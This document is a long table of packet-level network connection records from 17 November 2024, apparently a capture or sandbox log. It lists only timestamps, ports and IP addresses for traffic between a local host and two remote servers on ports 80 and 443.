Nov 17, 2024 12:35:21.811372042 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.811386108 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.812077045 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.812084913 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.837255001 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.837783098 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.837816954 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.838267088 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.838295937 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.838515997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838535070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838561058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838574886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838599920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838617086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838650942 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.838650942 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.838695049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.838716030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838731050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.838784933 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.857331038 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.858509064 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.858521938 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.859404087 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.859410048 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.882993937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.883064985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.883080959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.883125067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.883246899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.883263111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.883301973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.884648085 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.884758949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.884828091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.884845018 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.884855986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.885011911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885027885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885030031 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.885042906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885077000 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.885191917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885252953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885276079 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.885293961 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.885320902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885345936 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.885384083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885399103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885426044 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.885469913 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.885582924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885598898 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885613918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.885683060 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.885730028 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.886029959 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.886037111 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.886162996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.886188030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.886269093 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.886384964 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.886401892 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.886787891 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.886792898 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.939363003 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.939434052 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.939600945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.939625025 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.939925909 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.939945936 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.939960957 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.939966917 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.942816019 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.942856073 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.944221973 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.944221973 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.944278002 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.955806017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.955878019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.955893993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.956022024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.956037998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.956054926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.956243992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.956243992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.956243992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.956245899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.956298113 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.956468105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.968635082 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.968822956 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.968914986 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.969110012 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.969110012 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.969135046 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.969150066 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.972735882 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.972770929 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.972903013 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.973093033 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.973109007 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.007355928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.007376909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.007405043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.007464886 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.007536888 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.007698059 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.007754087 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.007994890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.007999897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008029938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008044004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008063078 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008086920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008093119 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008100986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008115053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008131027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008146048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008147001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008162022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008162975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008177042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008181095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008193970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008223057 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008405924 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.008420944 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.008434057 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.008439064 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.008790016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008815050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008826017 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008830070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008846045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008862972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008877039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008887053 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008892059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008908033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008914948 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008924961 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.008961916 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.008961916 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.012187958 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.012228012 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.012840033 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.013052940 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.013072968 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.015554905 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.015714884 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.015768051 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.015908957 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.015929937 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.015944004 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.015950918 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.016355991 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.016427994 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.016520977 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.016573906 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.016597986 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.016611099 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.016618013 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.032440901 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.032488108 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.032562971 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.032799006 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.032812119 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.045505047 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.045538902 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.045681953 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.045941114 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.045957088 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.073462963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.073477030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.073496103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.073559999 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.073611021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.073645115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.073797941 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.073847055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.073879004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.073915958 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.073932886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.074143887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.118376017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.118505001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.118539095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.118607044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.118640900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.118660927 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.118741989 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.119060993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119116068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119123936 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.119187117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119263887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119298935 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119368076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.119396925 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.119450092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119760990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119829893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119848013 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.119863033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119896889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.119971037 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.120008945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.120068073 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.120357037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.120413065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.120446920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.120558977 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.120573997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.120616913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.120647907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.121072054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.121109009 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.121129036 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.121144056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.121540070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.190510035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.190573931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.190613031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.190635920 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.190653086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.190686941 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.190725088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.190730095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.190808058 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.190810919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.190846920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.191111088 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.236783981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.236840010 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.236874104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.236911058 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.237133026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.237165928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.237200022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.237235069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.237287045 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.237287045 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.237380028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.237490892 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.237520933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.237560034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.237642050 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.238255978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238289118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238323927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238423109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.238632917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238684893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238733053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238814116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238850117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238934994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238961935 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238976955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.238992929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.239011049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.239072084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.239072084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.239072084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.239072084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.239072084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.283404112 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.307971954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308044910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308059931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308195114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308211088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308311939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308386087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308393002 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.308393955 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.308401108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.308885098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.308885098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.354108095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354165077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354177952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354319096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354327917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.354331017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354533911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354614973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354626894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354648113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.354665995 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.354811907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354824066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.354837894 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.354882956 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.355407953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355493069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355504036 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355609894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355621099 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.355629921 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355712891 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.355741978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355777025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355788946 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.355822086 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.355822086 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.355917931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356185913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356195927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356265068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356333971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356347084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356354952 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.356396914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.356439114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356451035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.356458902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.356694937 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.425636053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425648928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425659895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425889969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425901890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425903082 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.425913095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425925970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425937891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.425997972 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.425997972 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.472213984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.472242117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.472259998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.472295046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.472309113 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.472316980 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.472325087 CET	80	49751	185.215.113.16	192.168.2.6
